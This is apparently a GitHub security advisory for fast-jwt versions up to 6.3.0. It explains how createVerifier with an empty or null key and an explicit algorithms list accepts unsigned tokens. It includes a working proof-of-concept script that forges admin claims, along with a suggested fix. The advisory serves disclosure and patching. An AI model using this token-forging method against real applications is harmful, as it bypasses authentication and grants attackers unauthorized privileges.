Skip to content

fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

High severity GitHub Reviewed Published Jul 30, 2026 in nearform/fast-jwt • Updated Oct 8, 2026

Package

npm fast-jwt (npm)

Affected versions

<= 6.3.0

Patched versions

6.3.1

Description

Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

  • createSigner({ key: '' }) / key: null → rejected
  • createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
  • createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

  1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
  2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.

References

@SociableSteve SociableSteve published to nearform/fast-jwt Jul 30, 2026
Published to the GitHub Advisory Database Oct 8, 2026
Reviewed Oct 8, 2026
Last updated Oct 8, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

CVE-2026-107720

GHSA ID

GHSA-8wpc-h4q6-8fxv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.